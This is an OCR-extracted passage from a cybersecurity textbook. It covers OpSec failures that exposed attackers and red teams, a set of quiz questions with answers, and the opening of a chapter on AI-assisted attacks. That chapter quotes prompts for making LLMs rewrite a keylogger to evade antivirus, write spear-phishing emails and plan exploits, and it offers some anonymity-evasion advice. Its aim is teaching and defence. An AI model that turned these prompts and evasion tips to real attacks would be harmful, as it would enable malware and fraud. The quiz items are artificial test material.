nal structure of the code, helping defenders reverse-engineer the payload far more easily than
if it were properly stripped. Beyond that, the attackers failed to implement a sanitization
pipeline for their build process. In well-organized malware development operations, binaries
go through an automated post-compilation process that strips away extraneous metadata,
removes debug symbols, obfuscates file structures, and randomizes identifiers to prevent any
sort of straightforward linkage or pattern recognition. In the case of these operations, none
of these measures appeared to be in place, suggesting either a rushed development process or
a fundamental oversight in operational procedures.

Equally troubling from an attacker’s perspective was the apparent use of static compila-
tion on shared systems. Static compilation, by its nature, embeds all dependent libraries
directly into the binary, as opposed to dynamically linking them at runtime. While this tech-
nique can increase portability and ensure consistent behavior across environments, it also
results in larger binaries that carry with them every library and component, some of which
may contain unique identifiers, compilation timestamps, or even paths that can betray the
development environment. When performed on shared machines, this process becomes even
more problematic. Multiple users compiling binaries on the same system can lead to cross-
contamination of metadata, where artifacts from different user environments leak into each
other’s builds. In this particular case, it was noted that the resulting binaries contained com-
piler artifacts and build path residues that made it significantly easier for analysts to identify
the infrastructure and even assign the activity to specific threat actor groups.

The implications of these failures were immediate and far-reaching. Security researchers
were able to rapidly attribute the malicious payloads to known Chinese threat actor groups
by correlating the PDB paths, language artifacts, and system configurations with historical
data collected from previous campaigns. This kind of attribution, often a painstaking process
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involving weeks or months of traffic analysis, malware unpacking, and behavioral correla-
tion, was expedited due to the attackers’ operational sloppiness. Not only did this allow
defenders to identify the threat actors more swiftly, but it also enabled the rapid generation of
IOCs based on the compiler artifacts and file structures. These IOCs, which included specific
debug paths, file hashes, compiler version numbers, and embedded usernames, were then dis-
tributed across threat-sharing platforms, allowing other organizations to detect and respond
to similar intrusions in their own environments.

Another consequence of this inadvertent exposure was the deep insight it provided into
the attackers’ TTPs. Security analysts were able to map out the full build pipeline used by
the attackers, understand the tools and compilers employed, and even deduce their level of
sophistication, or in this case, the lack thereof. The presence of shared paths, static linking,
and unstripped debug symbols painted a picture of an adversary operating in a less compart-
mentalized, possibly rushed environment. This contrasted starkly with the typical profile of
top-tier nation-state APTs, which are known for their rigorous discipline, compartmentalized
workflows, and stringent OpSec measures. As a result, defenders not only gained technical
insights into the malware but also valuable behavioral intelligence about the threat actors
themselves, how they worked, how they managed their internal environments, and where
their processes fell short.

From a broader perspective, this incident serves as a case study in the importance of opera-
tional hygiene, not just for defenders but for attackers as well. In the same way that miscon-
figured firewalls, unpatched systems, or poor password policies can betray an organization’s
security posture, poorly compiled malware and sloppy development environments can reveal
just as much about an attacker’s ecosystem. The irony is that the very tools designed to
facilitate development, debug symbols, structured build environments, and automated com-
pilers can become liabilities when not properly sanitized. This reality has prompted a shift
even among adversarial groups toward adopting more stringent internal protocols, including
the use of ephemeral build environments, containerized compilation setups, and automated
metadata stripping scripts that remove identifiable traces from final payloads.

For defenders, the lesson here is equally vital. While signature-based detection still has its
place, it is increasingly the metadata, the byproducts of development and deployment, that
offer the most actionable intelligence. Identifying shared compiler paths, debugging traces,
and language artifacts can provide high-fidelity indicators that go beyond what traditional
antivirus or heuristic engines might flag. These artifacts allow analysts to not only detect
a single payload but to trace it back to its source, map it to an actor, and understand the
larger campaign behind it. This capability transforms defense from reactive to proactive,
enabling organizations to harden systems based on anticipated rather than observed behav-
ior. Furthermore, this kind of attribution, when done responsibly and corroborated with
multiple evidence points, can have broader geopolitical and strategic consequences. When
high-profile targets like Google are involved, the attribution of cyberattacks to state-linked
groups can influence diplomatic conversations, trigger sanctions, or reshape international
cybersecurity agreements. The technical breadcrumbs left in this case, seemingly minor on
the surface, thus fed into a much larger chain of cause and effect, extending far beyond the
realm of technical analysis.

The mishandling of build environments, debug information, and compiler configurations
in these attack campaigns underscores a fundamental truth of cybersecurity: every digital
artifact tells a story. Whether you are a defender trying to understand how an intrusion
occurred, or an attacker seeking to remain in the shadows, it is often the small details, the
build path left in a binary, the username embedded in a symbol file that determine the out-
come. In an age where attribution can have real-world consequences, attackers can no lon-
ger afford to treat development environments as safe zones free from scrutiny. Conversely,
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defenders must refine their ability to read between the lines of code, to extract meaning not
just from what malware does, but from how it was made. Only then can we stay one step
ahead in the ever-evolving chess match that is modern cyber warfare.

Case 4: Red team infrastructure reuse

In the vast ecosystem of the Dark Web, where stealth, deception, and anonymity are vital
currencies, operational security (OpSec) is not merely a guideline; it is a survival instinct.
Red Teams, in particular, who are hired to emulate real-world adversaries and breach corpo-
rate defenses, rely heavily on covert infrastructure to simulate advanced persistent threats.
However, when their own infrastructure becomes a liability rather than an asset, it under-
mines not just their mission but the integrity of the engagement itself. One such illustrative
breakdown occurred during several Red Team operations, where shared command-and-con-
trol (C2) infrastructure led to catastrophic operational failures, exposing a flaw that many
thought only the “bad guys” made by reusing infrastructure across targets.

Drawing from internal assessments, BHIS (Black Hills Information Security) and
SpecterOps trainings highlighted how repeated detection of specific domains and IPs by mul-
tiple clients triggered a cascading set of revelations. These revelations weren’t the result of
sophisticated endpoint telemetry or an insider threat tip-off. They came from something
far simpler yet profoundly dangerous: passive DNS correlations. Passive DNS is a security
analyst’s microscope into domain resolution history, allowing defenders to piece together
associations between domains, subdomains, and IP addresses across time. What it revealed
in this case was troubling. Multiple organizations, entirely unrelated and geographically
disparate, were seeing traffic from suspicious domains such as api-engagement|.Jcom and
clientX-stage[.]net. Upon closer inspection, security teams noticed that these domains, while
registered under different names or time periods, had striking overlaps in their DNS records,
SSL certificates, or hostnames, evidence pointing not to a global cybercriminal syndicate, but
to a professional Red Team reusing the same digital skeleton key across multiple doors.

This incident unmasked several deep-seated failure points that deserve scrutiny. First,
and most glaringly, was the reuse of domains across engagements. While a domain like api-
engagement|.]Jcom might sound generic enough to bypass casual inspection, it becomes a
red flag when multiple security teams flag it within a similar timeframe. In an era where
security communities actively share threat intelligence and where platforms like VirusTotal
or AlienVault allow correlation at scale, assuming a domain will go unnoticed is naive. Once
a domain is burned in one engagement, it should never resurface—at least not in the same
form. Unfortunately, in this scenario, the Red Team’s tradecraft reflected a level of compla-
cency. Their domain strategy lacked both uniqueness and variability. There was no disci-
plined naming convention to obscure attribution or compartmentalize engagements. Rather
than using randomized, client-specific domains or leveraging DGAs tuned for each exercise,
they fell back on a familiar pool of pre-owned assets.

Compounding the problem further was the simultaneous use of the same redirector.
Redirectors are meant to function as decoys masking the actual location of the C2 server and
adding a layer of plausible deniability. However, using a single redirector in parallel engage-
ments is like wearing the same disguise to two different heists on the same day. Eventually,
someone’s going to notice. Once again, passive traffic inspection and shared threat intel-
ligence gave defenders the upper hand. The shared redirector was identified by its consistent
TLS fingerprinting and HTTP response patterns, giving away its identity long before the Red
Team had even reached their objective. Worse yet, the presence of the same redirector meant
that defenders in one organization could watch in real time as malicious traffic unfolded in
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another, creating a kind of cross-customer radar that no attacker, real or simulated, would
want to trigger.

These operational failures inevitably led to a triad of consequences that derailed the Red
Team’s effectiveness. Firstly, their infrastructure was blacklisted. Once domains and IPs began
appearing on commercial and community-driven blacklists, any further attempt to use those
endpoints triggered immediate alerts. Sophisticated Blue Teams often use SIEM tools inte-
grated with external threat feeds. When a reused domain hit one environment and got added
to a blocklist, it set off alarms in all other connected ecosystems. The Red Team found their
communications blocked or sandboxed before any payload could be delivered, essentially
cutting off their ability to simulate adversary behavior.

Secondly, the operation’s stealth was compromised in the middle of ongoing engagements.
The core strength of a Red Team is its ability to remain undetected to mimic a slow, low-noise
adversary who methodically explores the network over weeks, even months. But with shared
infrastructure, any semblance of stealth was shattered. Detection in one client environment
meant immediate scrutiny in others. It triggered retrospective detection where defenders went
back through logs, IOCs, and endpoint behavior to identify similar anomalies. What might
have otherwise been dismissed as noise was suddenly seen in a new light. This domino effect
meant that Red Team operators were losing ground even before they had fully breached
lateral segments.

Finally, and most crucially, the retrospective detection across environments caused repu-
tational damage—not just for the tools but for the Red Team itself. Clients don’t hire Red
Teams just to test their security; they trust them to act with discretion and professionalism.
The realization that one team’s exercise led to a breach of trust across several clients cast
doubt on their methodology. The engagement was no longer just a test; it became a liability.
It forced internal debates within client organizations about vendor selection, information
sharing agreements, and the basic hygiene of Red Team operations. This case serves as a
cautionary tale for every operator who walks the thin line between simulated attack and real-
world consequence. While offensive security tools have become more advanced, leveraging
polymorphic malware, fileless persistence, and evasion techniques inspired by real APTs, the
fundamentals of good tradecraft remain unchanged. Compartmentalization is not a luxury;
it is a necessity. Each client engagement must be treated as a sovereign entity. Infrastructure
domains, servers, certificates, and redirectors must be uniquely crafted and discarded post-
use. The age-old advice of “burner everything” still holds true. Modern Red Teams must
embrace automation for this very purpose—automating domain generation, cloud spin-ups,
DNS record obfuscation, and lifecycle management.

Case 5: phishing campaign linked via email headers

In the complex web of underground cyber operations, where threat actors often believe them-
selves to be insulated by layers of obfuscation and deceptive infrastructure, a small oversight
can be enough to unravel months or even years of clandestine planning. One such revealing
incident revolves around a phishing campaign meticulously traced using nothing more than
email headers and embedded metadata in seemingly innocuous Office documents. The case,
shared through open-source threat intelligence and partially corroborated by sources like
Recorded Future, is a textbook example of how operational security lapses can dismantle an
otherwise sophisticated phishing operation on the Dark Web.

At the heart of this campaign was a series of spear-phishing emails that used malicious
Microsoft Office documents as the primary payload. Unlike generic phishing attacks that
cast a wide net, this operation was tailored with precision. Each email was crafted with a
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high degree of social engineering, leveraging prior reconnaissance on targets to increase the
likelihood of engagement. These documents, when opened, initiated macro-based execution
chains or exploited known vulnerabilities to provide the attackers with an initial foothold
into the target network. On the surface, the emails and attachments appeared well-crafted,
clean, and technically sound. However, beneath this layer of sophistication lay small but criti-
cal lapses that would ultimately lead to the unmasking of the actors behind the campaign.

One of the most glaring errors was the failure to remove embedded metadata from the
attached Office files. In their eagerness to deploy the malicious payload, the threat actors
neglected to scrub the internal document properties, a common and surprisingly recurrent
mistake even among experienced cybercriminals. These metadata fields, particularly the
Author field, contained names and identifiers that were not random but had direct associa-
tions with previously identified campaigns. The reuse of a known persona in the metadata
served as a forensic fingerprint, immediately linking this campaign to a broader threat actor
profile cataloged by cybersecurity researchers. This kind of oversight might seem trivial to
the average user, but in the world of cyber forensics, it’s akin to leaving a fingerprint at the
crime scene.

Simultaneously, an analysis of the email headers revealed another significant operational
security misstep. When an email passes through various mail servers, each server typically
appends a Received header to the message. These headers form a traceable chain of custody
that can reveal the path the email took from sender to recipient. In well-orchestrated phishing
campaigns, attackers typically use multiple layers of relay and anonymization, often leverag-
ing compromised mail servers or third-party anonymizers to obscure the true origin of the
message. In this case, however, the attackers failed to fully anonymize their mail path. The
email headers exposed a real IP address that had not been sufficiently obfuscated through
relays. This IP, once identified, could be geo-located and cross-referenced against existing
threat databases, providing additional evidence that tied the campaign back to a specific
group.

These two failure points, document metadata and improperly configured mail relay, com-
bined to provide a breakthrough for threat intelligence analysts. Not only did they allow
investigators to draw a clear connection between this phishing campaign and historical
activity by the same operators, but they also helped expose the TTPs that the group consis-
tently employed. This, in turn, led to a cascading effect: once the TTP chain was exposed,
cybersecurity vendors began sharing the uncovered artifacts like hashes, domain names, IP
addresses, and document templates with the wider threat intelligence community. The very
act of operational failure turned into a powerful crowd-sourced mechanism for network
defenders around the globe to build defensive measures proactively.

The persona reuse deserves further scrutiny in this case. Reusing fake identities across cam-
paigns may seem like an efficiency tactic after all, but building a credible fake online presence
can be time-consuming. However, this practice becomes a double-edged sword in the age of
collaborative cyber threat intelligence. Once a single persona is identified and fingerprinted
by researchers, any future appearance of the same identity, even in slightly altered form, is
likely to trigger alarms across multiple monitoring platforms. In this instance, the persona
used in the document metadata had been observed in earlier phishing campaigns dating back
months, if not years. The consistency in naming conventions, writing styles, and associated
infrastructure allowed analysts to confidently attribute the campaign to a known actor set,
possibly even a state-sponsored group or a financially motivated APT.

Moreover, the threat actor’s failure to rotate infrastructure, like mail servers, phishing
domain names, and even backend command-and-control (C2) endpoints, further contributed
to the unraveling. This case highlighted a cardinal rule in cyber operations: reuse equals risk.
When cybercriminals repeatedly leverage the same tools and resources without sufficient
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variation or compartmentalization, they essentially create a pattern—an operational rhythm
that can be modeled and predicted.

The implications of such lapses extend far beyond the immediate takedown of one cam-
paign. Deanonymization of a threat actor group, especially one with a history of targeting
high-value organizations, can disrupt ongoing and future operations. It may also lead to
political and legal consequences if the group is tied to nation-state interests. In some cases,
the exposure of such groups prompts governments and cybersecurity firms to release public
threat reports, complete with IOCs, thereby increasing awareness across sectors and tighten-
ing the security posture of potential targets.

In the broader context of Dark Web activity, this case serves as a compelling lesson in tra-
decraft. The Dark Web, with all its illusions of anonymity and freedom, still operates within
the confines of digital infrastructure. Every email, every document, every click leaves a trail,
visible not necessarily to the naked eye but to those with the right tools, access, and intent.
When these digital breadcrumbs are not diligently erased, they form a trail that leads back to
the threat actor’s front door.

What’s also worth noting is the role of open-source threat intelligence in this operation.
Historically, much of the cyber threat landscape has been cloaked in secrecy, with private
vendors hoarding data for commercial leverage. However, the increasing trend of commu-
nity-driven intelligence sharing, bolstered by platforms like MISP, GitHub, and even public
threat feeds, means that even minor slip-ups are magnified exponentially. Once the indicators
from this phishing campaign were uploaded to public repositories, security vendors across
the globe were able to integrate the findings into their detection engines, firewall signatures,
and incident response playbooks within hours.

There’s an additional psychological layer to consider here. Threat actors often operate with
a sense of invulnerability, believing that by working in silos or utilizing anonymity tools like
Tor, VPNs, and burner accounts, they are immune to detection. This case shatters that illu-
sion. It reminds us that anonymity is not absolute; it’s conditional, fragile, and can be com-
promised by the simplest of human errors. A forgotten IP address, an overlooked metadata
field, or a reused name can undo months of planning and operational execution.

In hindsight, one could argue that the group behind this campaign was caught not because
their technical tools were inferior but because their operational discipline wavered. It’s a sub-
tle but critical distinction. Many cybercriminals have access to the same open-source exploi-
tation frameworks, malware kits, and obfuscation tools. What separates the successful from
the exposed is often how well they manage their digital hygiene. This case is a reminder that
technical prowess alone is insufficient in the murky world of cyber offense. Without stringent
OpSec (operational security) protocols, even the most advanced threat actor is vulnerable.

From a defensive standpoint, this case underscores the importance of DPI, metadata analy-
sis, and collaborative intelligence workflows. Organizations need to invest not just in end-
point detection but also in analyzing the full spectrum of email metadata and document
properties. Training threat hunters to look for small indicators like internal document tags or
inconsistencies in relay headers can yield disproportionate dividends in uncovering malicious
campaigns.

5.10 CONCLUSION

Operational Security and anonymity, once considered auxiliary tactics in cyber operations,
have now emerged as strategic imperatives in both legitimate Red Team assessments and
illicit Dark Web engagements. This chapter has revealed how OpSec has matured from its
military roots into a layered and behavioral discipline critical for operational survival. The
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real-world breakdowns examined, ranging from reused TLS certificates and beacon profiles
to careless metadata exposures, underscore the reality that even minor lapses can trigger cas-
cading consequences. In the age of JA3 fingerprinting, passive DNS analytics, and machine
learning-based threat correlation, every operational decision leaves a trace. Anonymity is no
longer about hiding one’s name; it encompasses infrastructure hygiene, behavioral diversity,
and procedural compartmentalization. The interconnectedness of secrecy, anonymity, and
operational privacy illustrates that failing in one domain can compromise the entire mission.
Advanced operators now understand that protecting identity and intent requires more than
just obfuscation; it demands foresight, variability, and a commitment to constant mutation
across every operational layer. With defenders increasingly capable of post-event attribu-
tion, the emphasis must shift from simply avoiding detection to reducing the confidence of
detection and correlation. Whether simulating threats for clients or evading state surveillance
on the Dark Web, actors must adopt a holistic OpSec model that treats every tool, tactic,
and artifact as a potential liability. In this high-stakes arena, those who succeed are not the
most aggressive or even the most skilled, but those who master the art of vanishing, unseen,
unlinked, and unreadable.

MULTIPLE CHOICE QUESTIONS FOR LEARNING

1. A threat actor successfully operated an online identity for over 2 years before being
deanonymized due to reused recovery emails across services. From an OpSec stand-
point, which phase did they most likely fail in?

a. Initial compartmentalization
b. Persistence strategy

c. Clean exit planning

d. Device fingerprinting

Correct Answer: a) Initial compartmentalization
Explanation: Reusing recovery emails compromises isolation between personas. Strong
OpSec requires independent, compartmentalized identity structures from the start.

2. An intelligence agency is investigating a criminal who consistently connects to a dark-
net forum using the same device, albeit over changing IPs. Which anonymity threat does
this most likely expose?

a. MAC spoofing failure

b. IP address leak via DNS

c. Persistent device fingerprinting
d. Non-random password reuse

Correct Answer: ¢) Persistent device fingerprinting
Explanation: Even with IP obfuscation, consistent device traits (like screen resolution,
fonts, or OS signatures) can uniquely identify and track users.

3. A cybercriminal uses a VPN over Tor and regularly sanitizes browser metadata.
However, they link to a social handle once used on the clearnet. What form of OpSec
breakdown occurred?

a. Lack of dynamic DNS use

b. Attribution via behavioral linking
c. DNS resolution failure

d. Non-persistent container usage
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Correct Answer: b) Attribution via behavioral linking
Explanation: Using a previously known social handle enables behavioral correlation,
undermining anonymity and linking darknet activity to clearnet identity.

. During a Red Team assessment, a team member leaks metadata by uploading screen-
shots directly from their desktop. Which OpSec discipline did they violate?

a. Secure tunneling

b. Metadata stripping

c. MAC address obfuscation

d. Log tampering

Correct Answer: b) Metadata stripping
Explanation: Screenshots and images often retain EXIF data such as device info, time-
stamps, and usernames unless explicitly stripped—posing attribution risk.

. A whistleblower uses Whonix for browsing but logs into their personal ProtonMail
account from the same VM. Which anonymity risk does this expose?

a. Session cookie collision

b. DNS cache poisoning

c. Identity cross-contamination

d. Traffic correlation

Correct Answer: c) Identity cross-contamination
Explanation: Logging into a personal account from an anonymity-focused environment
creates cross-contamination, directly linking real and anonymous identities.

. A seasoned cybercriminal uses persistent encryption, air-gapped machines, and strict
OpSec hygiene. Yet, authorities track them due to their predictable language use and
spelling. What type of tracking method is this?

a. Stylometric analysis

b. Behavioral biometrics

c. Keystroke logging

d. Side-channel inference

Correct Answer: a) Stylometric analysis
Explanation: Stylometry involves analyzing linguistic patterns—grammar, spelling, sen-
tence structure—to match writing style to an identity.

. While creating a new alias, a threat actor uses a Bitcoin wallet for a darknet trans-
action. Investigators later link this wallet to a previous transaction made via a KYC
exchange. What’s the OpSec failure here?

a. Coin mixing misconfiguration

b. Blockchain forensics exposure

c. Use of single public key infrastructure

d. Burnable wallet logic failure

Correct Answer: b) Blockchain forensics exposure
Explanation: Blockchain records are immutable. Any transaction from a KYC wallet to
a public one can be traced using forensic tools, breaking anonymity.

. A hacktivist launches a campaign via a secure communication channel but reuses a
VPN exit node previously flagged by threat intelligence platforms. Which principle of
anonymity is compromised?

a. Exit node volatility

b. Trust boundary collapse
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10.

c. Operational uniformity
d. Temporal separation

Correct Answer: d) Temporal separation
Explanation: Using the same resources or network artifacts across operations over time
makes tracking and attribution feasible, violating temporal separation.

A security researcher uses Tails OS over Tor for OSINT but accidentally updates the
system using their personal ISP. What critical anonymity principle did they breach?

a. Transport obfuscation

b. VPN chaining

c. Identity laundering

d. IP hygiene

Correct Answer: d) IP hygiene
Explanation: Connecting to anonymous systems using a real IP address, even once, may
permanently link the identity to the operation—breaking IP hygiene.

An APT group deploys its malware through shared third-party libraries that contain
unique compilation markers. How can analysts exploit this to deanonymize the group?
a. Through dynamic analysis of control flow

b. By reverse engineering stylometric signatures

c. By correlating compile-time metadata

d. Through sandbox evasion artifacts

Correct Answer: ¢) By correlating compile-time metadata
Explanation: Compile-time metadata like timestamps, compiler versions, or embedded
paths can uniquely identify developer environments, aiding attribution.



Chapter 6

Al-powered dark security

6.1 INTRODUCTION

In today’s digitally connected environment, the threat landscape is expanding faster than
traditional security systems can adapt. The incorporation of Al into this equation does not
merely add complexity; it completely transforms it. Cybercriminals are no longer lone cod-
ers writing malware line-by-line in isolation. They are becoming Al-augmented threat actors
capable of launching large-scale, personalized, and continuously evolving cyber campaigns.
The use of Al for social engineering is also covered in detail. Attackers now feed recon-
naissance data gathered through open-source intelligence (OSINT) or active scanning into
LLMs to craft highly personalized phishing emails. These emails can impersonate IT admin-
istrators, HR personnel, or trusted vendors, and direct users to cloned login portals built
using Al-assisted site generation tools like Blackeye or Mip22. As soon as credentials are
entered, they are logged and exploited. The use of Al here significantly reduces human effort
while increasing precision. The automation of reconnaissance using tools like Assetfinder
and Httprobe is amplified with Al-guided analysis. Once subdomains and ports are identi-
fied, LLMs can cross-reference versions and configurations against known vulnerabilities
(e.g., CVEs) and even recommend exploit strategies. This turns reconnaissance into a semi-
autonomous pipeline, accelerating the pre-attack phase with machine efficiency.

Another area explored is deepfake generation. With tools like Media.io, Speechify Studio,
and Echovox, voice cloning has become accessible to anyone with a browser and a few
samples. These tools allow attackers to generate highly realistic audio mimics, which can be
used for vishing (voice phishing), impersonation during remote authentication, or spread-
ing misinformation. Al-generated voiceovers combined with emotion synthesis and real-time
speech cloning create a new class of threats, one that targets the very foundation of trust in
communication.

To illustrate the real-world impact, consider a case from 2024 where an advanced per-
sistent threat (APT) group utilized Al-driven phishing emails to infiltrate a multinational
financial firm. The emails were tailored to employee roles, mimicking internal communica-
tion patterns. Upon clicking a link, victims landed on an Al-generated clone of the company’s
intranet login page. Within hours, the group exfiltrated sensitive financial records, customer
data, and admin credentials. Traditional spam filters and antivirus tools were bypassed due
to the sophistication and variability of Al-generated content. This example is no longer an
outlier; it signals a broader shift in how attacks are conceived and executed.

Similarly, during a security audit of a popular e-commerce application, a red team deployed
GPT-based tools to audit backend code and identify flaws in access control. Within minutes,
the LLM pointed out that admin endpoints lacked proper authorization checks, highlighting
a textbook case of Broken Access Control. The audit team later confirmed the exploit, which
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allowed privilege escalation without any brute-force attack. The attacker didn’t need hours
of static code analysis, just a well-formulated prompt.

Artificial Intelligence (Al) is redefining the contours of cybersecurity, reshaping how we
defend digital infrastructure, but also how cyberattacks are conceived and executed. This
duality presents an intriguing yet alarming reality: the same Al systems that power innovation
can be repurposed to dismantle digital trust. In today’s cyber battlefield, attackers no longer
need deep technical expertise to craft convincing phishing emails, evade malware detection
systems, or exploit zero-day vulnerabilities. Instead, they can prompt a generative Al model
and automate attacks at scale, with customization and obfuscation levels that evade even the
most advanced detection systems. The rise of large language models (LLMs) like OpenAT’s
GPT-4, Meta’s CodeLlama, and open-source tools such as Claude and Mistral has introduced
a paradigm shift in threat execution. These models are not limited to generating natural lan-
guage; they can process, generate, and refactor code, simulate human interaction, and assist
in reverse engineering. When weaponized, these capabilities empower attackers to automate
vulnerability discovery, rewrite malware payloads with stealth, and scale social engineering
campaigns beyond what was previously possible.

This chapter delves into these alarming possibilities, providing a deep technical dive into
how Al is currently being used in offensive security. We begin by examining how LLMs are
employed for vulnerability analysis in open-source applications like NodeGoat. By feeding
backend route files such as index.js into models with precise prompts, attackers can receive
line-by-line breakdowns of OWASP Top 10 vulnerabilities along with recommended fixes.
Such capabilities democratize penetration testing but also lower the barrier to entry for mali-
cious actors. Next, we explore how Al models are used to mutate malware. A practical
example is the refactoring of a basic Python Keylogger using GPT-4 to produce an obfuscated
variant that changes variable names, logic flow, and string encoding to evade signature-based
antivirus platforms like VirusTotal. This is not theoretical by wrapping the malware logic in
base64-encoded functions and obfuscating its structure, attackers can create dozens of unde-
tectable variants in minutes. The implications for antivirus and endpoint detection platforms
are serious, calling into question the reliability of traditional security heuristics.

This chapter does not merely catalog the offensive uses of Al; it contextualizes them within
real-world use cases and demonstrates their growing impact on the cybersecurity landscape.
As attackers evolve, so must defenders. The knowledge shared herein aims to educate, raise
awareness, and inspire proactive adaptation. Only through understanding the tools of the
adversary can we develop robust countermeasures and reclaim the advantage in this ongoing
digital arms race.

6.2 Al FOR EXPLOIT AUTOMATION

Automated vulnerability scanning and exploit generation have historically required high
levels of domain knowledge. Exploit frameworks like Metasploit or Cobalt Strike provide
payloads, but still require manual configuration, planning, and knowledge of the target
environment. With Al in the loop, however, this knowledge bottleneck is breaking down.
Attackers can prompt LLMs to analyze configuration files, guess application structures, and
recommend specific attacks based on version identifiers. Take subdomain enumeration and
port scanning, for instance. Attackers can use tools like Assetfinder and Httprobe to gener-
ate a list of potential targets. These are then passed into scripts that run Nmap scans on all
open ports. Instead of manually reviewing the results, attackers can feed scan outputs into
an LLM with a prompt like: “Analyze the following scan results and suggest known CVEs
for each exposed service, including possible attack vectors.” The Al quickly correlates data,
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lists vulnerabilities, and even recommends specific exploits or phishing baits depending on
the context. This pipeline from reconnaissance to exploitation no longer requires years of
cybersecurity training. With basic scripting skills and a powerful LLM, attackers can reach
advanced stages of the cyber kill chain in hours instead of weeks.

Malware development, once the realm of seasoned programmers, has become increas-
ingly accessible due to Al models capable of transforming basic logic into polymorphic code.
For example, a simple Keylogger written in Python can be fed into GPT-4 with a prompt:
“Rewrite this script to evade antivirus detection by changing logic flow, variable names,
and encoding strings.” The Al does not just rename variables; it rewrites the logic in deeply
obfuscated ways, applies string manipulation techniques, and suggests wrapping payloads in
base64-encoded functions. Such transformed malware often bypasses signature-based detec-
tion systems like VirusTotal. This is not a futuristic possibility; it is already happening. By
repeatedly refeeding the Al with modified prompts, threat actors can generate near-infinite
variants of the same malware, each structurally different but functionally identical. These
are then packaged into executable files using tools like PyInstaller and distributed through
phishing campaigns or embedded in cracked software. Advanced variants also introduce con-
ditional logic. For instance, a Keylogger might be refactored to activate only when a window
title contains the word “bank” or “email.” Such context-aware behavior makes detection
even harder and demonstrates how Al enables adaptive malware that responds to environ-
mental cues.

Social engineering attacks have long relied on psychological manipulation, but now they
are enhanced by machine intelligence. With access to publicly available information, such as
LinkedIn profiles, GitHub repositories, and company blogs, Al can generate spear-phishing
messages tailored to individual targets. Imagine an attacker compiling a target’s online foot-
print using OSINT tools. This data is then input into a language model with a prompt like:
“Write a professional-sounding email to [Target Name|, who works in IT, from their HR
department about an urgent benefits update. Include a link to the login portal.” The result is
a highly believable email that reflects corporate tone, structure, and internal language cues.

This strategy is not limited to emails. Attackers are also using Al to create voice mes-
sages, text chats, and even impersonated phone calls via deepfake audio. This raises the
stakes dramatically. A deepfake phone call from a known supervisor could easily persuade an
employee to bypass internal controls. Deepfake audio is no longer restricted to nation-state
actors or large studios. Tools like Media.io and Echovox provide high-fidelity voice cloning
capabilities in a browser-based interface. Users simply upload a few seconds of clean audio,
and the system returns a voice clone that can be used for voiceovers or real-time conversa-
tion. This capability is now weaponized by threat actors to impersonate executives, perform
vishing (voice phishing), and bypass voice-based authentication systems. One alarming case
involved the impersonation of a CEO to authorize a fraudulent wire transfer over the phone.
The cloned voice mimicked tone, pace, and linguistic idiosyncrasies well enough to bypass
suspicion.

Given that many financial institutions still use voice biometrics as a layer of security,
the implications are severe. Attackers can exploit these systems by recording short snip-
pets of the target’s voice from podcasts, interviews, or even YouTube videos. With these, a
convincing clone can be trained within minutes. Al has also revolutionized phishing frame-
works. Traditional tools like SET (Social Engineering Toolkit) or Blackeye now incorporate
Al-generated content. When attackers set up a phishing campaign, they no longer need to
manually craft messages or design fake websites. For example, a campaign may begin with
cloning a legitimate login page using Mip22. Then, an Al model is used to generate the cor-
responding email template, dynamically customized to match the recipient’s context. The
phishing page itself can also include Al-generated logos, brand colors, and even chatbot
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interactions to appear more legitimate. Once the victim visits the fake page and submits
credentials, those details are stored and relayed in real time to the attacker. What makes this
more dangerous is the degree of realism. Al can now generate personalized error messages,
simulate loading screens, and respond to user inputs convincingly.

Traditionally, reconnaissance involves identifying assets, subdomains, ports, and service
versions. With LLMs integrated into the pipeline, attackers can run passive recon using
tools like Sublist3r and Assetfinder and then analyze the data via prompt-based scripts. For
instance, if an attacker discovers an Apache 2.4.29 service running on port 80, the LLM can
immediately flag vulnerabilities like CVE-2017-15710 or CVE-2018-1312. It can even sug-
gest exploiting mod_auth misconfiguration or intercepting unencrypted HTTP traffic.

The real power lies in chaining together Al-generated attack recommendations. Based on
discovered ports, versions, and exposure, the LLM provides a step-by-step plan: from launch-
ing a man-in-the-middle (MITM) attack to exploiting a POP3 misconfiguration that leads to
credential leakage. It’s like having a cybersecurity analyst working for the attacker—one that
never sleeps, scales infinitely, and constantly learns from the latest exploits.

6.3 Al FORVULNERABILITY DISCOVERY

Use Al models (like GPT-4, CodeLlama, or other code analyzers) to identify security vulner-
abilities in real or simulated source code. A popular platform for creating online applications,
Node.js is lightweight, quick, and scalable. This project offers a setting for learning about the
OWASP Top 10 security threats that affect Node.js web applications and how to successfully
mitigate them. Figure 6.1 displays the steps to clone a vulnerable application, “NodeGoat,”
to analyze the OWASP Top 10 vulnerabilities present in the application.

Select any backend file or API route handler; in this case, the user goes with index.js, which
is a route file. Copy the code and navigate to an LLM Al model. Along with the code, give
‘Analyse the following Node.js code for security vulnerabilities. Point out issues like XSS,
SQL injection, insecure session handling, or other common OWASP Top 10 risks’ as prompt
to the Al model and wait for the results. The Al model will point out each line of code where
a vulnerability exists and the possible fixes to avoid them. Figure 6.2 displays the OWASP
Top 10 vulnerabilities present in the index.js file of the NodeGoat application.

Detailed analysis and possible fixes for the vulnerabilities present in the code file are as
follows.

Broken access control

Broken access control occurs when users can access resources or perform actions outside
their authorized permissions. In this code, routes like /allocations/:userld allow any authenti-
cated user to access other users’ data simply by changing the URL parameter. Without proper

E(kali@ kali)-[~]

$ git clone https://github.com/OWASP/NodeGoat.git

Cloning into 'NodeGoat' ...

remote: Enumerating objects: 6457, done.

remote: Total 6457 (delta @), reused @ (delta @), pack-reused 6457 (from 1)
Receiving objects: 100% (6457/6457), 8.89 MiB | 304.00 KiB/s, done.
Resolving deltas: 100% (1943/1943), done.

Figure 6.1 Clone NodeGoat repository.
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L—( lkali® kali)-[~/NodeGoat ]
$ cd app

l_—(kali@ kali)-[~/NodeGoat/app]
$ 1s
assets data routes vieus

L—( kali® kali)-[~/NodeGoat/app]
$ cd routes

Figure 6.2 Application flaws.

1. [A01:2021] Broken Access Control

X lIssue

Js

. Missing Function Level Access Control (A01:2021)
. Broken Access Control (A01:2021)

. Server-Side Request Forgery (SSRF) (A10:2021)

. Security Misconfiguration (A05:2021)

. Cryptographic Failures (A02:2021)

. Cross-Site Scripting (XSS) (A03:2021)

Software and Data Integrity Failures (A08:2021)

. Broken Authentication / Session Management (A07:2021)
9. Lack of Rate Limiting / Brute Force Protection (A07:2021)

. _Improper Error Handling

© Copy

app.pget("/allocations/:userid”, isLoggedIn, allocationsHandler.displayAllocations);

* Anyone logged in can view any user’s allocations by manipulating the :userId parameter.

¥ Fix

